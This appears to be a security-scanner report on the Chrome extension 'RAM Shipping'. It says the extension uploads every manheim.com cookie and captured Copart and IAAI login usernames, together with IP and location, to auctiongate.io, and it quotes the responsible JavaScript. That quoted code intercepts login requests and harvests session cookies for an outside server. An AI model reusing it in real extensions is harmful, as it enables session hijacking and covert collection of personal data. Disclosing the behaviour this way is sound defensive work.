Is RAM Shipping safe?

Medium risk

RAM Shipping sends all manheim.com cookies and Copart/IAAI login usernames to auctiongate.io.

After a Manheim login is observed, the extension reads every manheim.com cookie, including HttpOnly session cookies, and uploads them to auctiongate.io. When a user logs in to Copart or IAAI without an existing session, it captures the username from the login request and sends it with IP address, ISP, city, region and coordinates to the same server.

PAR Soft, incv0.18.11.10Chrome Web Store
55Risk
Who publishes it

Par Soft, Inc. - 1 other listing from the same operator, none carrying a finding

What this publisher told the store about itself, and the other listings that told it the same thing.

Publisher
PAR Soft, inc
Declared legal entity
Par Soft, Inc.

Same store account

1 other listing published from this account, 17 users between them, none of them carrying a finding.

Shared hosts - 6 hostnames

Hostnames hardcoded in this extension that few other listings call. That can mean one operator behind both, and it can equally mean a small shared vendor, so it is context rather than a conclusion. Hosts that many listings call are left out: they are services, not connections.

account.manheim.com
Also called by 8 other listings
auction.copart.ca
Also called by 8 other listings
auction.copart.com
Also called by 8 other listings
negotiation.iaai.com
Also called by 8 other listings
wss-api.auctiongate.io
Also called by 8 other listings, including الحوت الأزرق, BIDAUTO-Live, GoJo Shipping
onesearch-api.manheim.com
Also called by 9 other listings

AI-generated. Findings may contain errors. Those marked Verified have been manually reviewed.

Publishers can request a review.

Findings

RAM Shipping sends Copart and IAAI usernames and location to auctiongate.io

Code analysis shows the extension reads the username from Copart and IAAI login requests and POSTs it with IP, ISP and coordinates to auctiongate.io when you are not signed in to it.

Severity
High unwanted
Type
Unexpected
CWE
CWE-359
Source
Static analysis
What actually happens
You did this

You sign in to Copart or IAAI while not signed in to the extension.

The extension did this

The extension sends your username, IP and location to auctiongate.io.

The code that does this

Username capture, payload build and upload

Readable version

Capture username

js/background/utils/guestLoginControl.js
  chrome.webRequest.onBeforeRequest.addListener((async function(t) {    const a = new URL(t.url).host, s = a.includes("copart") ? "copart" : a.includes("iaai") ? "iaai" : null;    if (s) {      if ("POST" === t.method && t.requestBody?.raw?.[0]?.bytes && "copart" === s) {        try {          const s = t.requestBody.raw[0].bytes, r = new TextDecoder("utf-8").decode(s);          if (!r.trim()) {            return;          }          let n;          try {            n = JSON.parse(r);          } catch (e) {            return;          }          const i = n.username;          await e({            currentGuestDTO: {              userName: i,              host: a            }          });        } catch (e) {}      }      if ("POST" === t.method && "iaai" === s) {        const s = t.requestBody?.formData?.["Input.Email"]?.[0];        await e({          currentGuestDTO: {            userName: s,            host: a          }        });      }    }  }), {    urls: [ "https://www.copart.com/processLogin/*", "https://login.iaai.com/Identity/*" ]  }, [ "requestBody" ]);

Build payload

js/background/utils/guestLoginControl.js
  async function u({currentGuestDTO: e, ipInfo: a}) {    if (!e) {      return {};    }    const s = await t("last_user_name") || "", r = await t("last_company_id") || "", n = await t("last_user_id") || "", i = await t("last_login_date") || "";    return {      host: e?.host,      event: "Guest user auth",      timestamp: String(Date.now()),      date: (new Date).toISOString(),      user_agent: navigator.userAgent,      platform: navigator?.userAgentData?.platform || navigator?.platform,      user_ip: a?.userIP,      user_isp: a?.userISP,      user_city: a?.userCity,      user_country: a?.userCountry,      user_region: a?.userRegion,      latitude: a?.latitude,      longitude: a?.longitude,      app_user_name: e?.userName,      last_app_user_name: s,      last_app_user_company_id: r,      last_app_user_id: n,      last_login_date: i    };  }

POST

js/background/utils/guestLoginControl.js
  async function o(e) {    const t = new Headers;    t.append("Accept", "application/json");    const a = new FormData;    a.append("api_token", r[n]);    Object.keys(e).forEach((t => {      a.append(t, e[t]);    }));    await fetch(s.createGuestUser, {      headers: t,      body: a,      method: "POST"    }).then((e => e.json())).catch((() => null));  }
Form fields in the POST
  • Login username
    app_user_name=jsmith@example.com

    The username or email you typed on Copart or IAAI.

  • IP and ISP
    user_ip=203.0.113.24, user_isp=Example ISP

    Your public IP address and internet provider.

  • Location
    user_city=Dallas, latitude=32.78, longitude=-96.80

    City, region and coordinates from a geo-IP lookup.

  • Browser details
    platform=Windows

    Your user agent and platform.

Destinations
    • auctiongate.io

    Receives the record at /api/v1/auction-auth-log.

    • json.geoiplookup.io
    • ip-api.com

    Queried from the extension for your IP and location.

Observation

Static analysis finding. This behaviour was identified by reading the shipped extension code and has not yet been reproduced in a live run. The trigger conditions and the exact data sent are read from the code, not from an observed capture.

RAM Shipping uploads all your manheim.com cookies to auctiongate.io after login

Code analysis shows that after a Manheim sign-in the extension reads every manheim.com cookie, including HttpOnly and partitioned ones, and POSTs them to auctiongate.io.

Severity
High unwanted
Type
Unexpected
CWE
CWE-522
Source
Static analysis
What actually happens
You did this

You sign in to Manheim and load a manheim.com page.

The extension did this

The extension reads all manheim.com cookies and POSTs them to auctiongate.io.

The code that does this

Cookie collection and upload

Readable version

Login gate

js/background/manheim/manheimLoginControl.js
    const h = await getLocalstorage("isManheimServerAuthCookiesValid");    if (c && !h) {      const e = await fetch(landingPageUrl, {        method: "GET",        credentials: "include"      });      if (e?.ok && !e.redirected) {        const a = await e.text(), i = a.match(/token="([^"]+)"/), o = i?.[1] ?? null;        o && await saveValidAuthCookies({          URI: t        });      }    }

Cookie read and POST

js/background/manheim/manheimLoginControl.js
async function saveValidAuthCookies({URI: e}) {  const t = await chrome.cookies.getAll({    domain: "manheim.com"  }), a = await getManheimPartitionedCookies(), i = [ ...t, ...a ], o = await sendManheimCookies({    allCookies: i,    URI: e  });  !o?.responseStatus || o.responseStatus >= 400 || await setLocalstorage({    isManheimServerAuthCookiesValid: !0  });}async function getManheimPartitionedCookies() {  const e = await chrome.cookies.getAll({    domain: "manheim.com",    partitionKey: {}  });  return e.filter((e => {    const t = e.partitionKey;    if (t) {      return !0;    }  }));}async function sendManheimCookies({allCookies: e, URI: t}) {  const a = {    auction_account_id: await getLocalstorage("manheimId"),    pingone_risk_device_profile: JSON.stringify({      allCookies: e    }),    pingone_risk_browser_profile: "none"  };  return await fetchRouteV3({    url: t.auctionAccount.manheimSaveRiskProfile,    options: {      method: "POST",      body: a    }  });}
POST body fields
  • Account id
    manheimId from chrome.storage.local

    Your stored Manheim account id in the extension.

  • allCookies
    {"allCookies":[{"name":"...","domain":".manheim.com","httpOnly":true}]}

    Every manheim.com cookie, with name, value and flags.

  • Browser profile
    none

    A fixed placeholder string.

Destination
    • auctiongate.io

    Receives the cookies at /api/v3/auction-account/add-manheim-auth-hash.

Observation

Static analysis finding. This behaviour was identified by reading the shipped extension code and has not yet been reproduced in a live run. The trigger conditions and the exact data sent are read from the code, not from an observed capture.

Where it sends data

Destinations our analysis observed RAM Shipping contacting. Sending data somewhere is not a finding on its own - an extension that syncs your settings has to talk to its own server - but it is where your data can go, and who else it goes to.

  • ip-api.comwidely used

    RAM Shipping sends data to ip-api.com. A widely used service: 73 other extensions we have analysed send data here.

  • json.geoiplookup.io

    RAM Shipping sends data to json.geoiplookup.io. 17 other extensions we have analysed send data here.

  • auctiongate.io

    RAM Shipping sends data to auctiongate.io. 10 other extensions we have analysed send data here.

Updated 15 October 2026hlepncelffbopanhnpodikeblaolepfh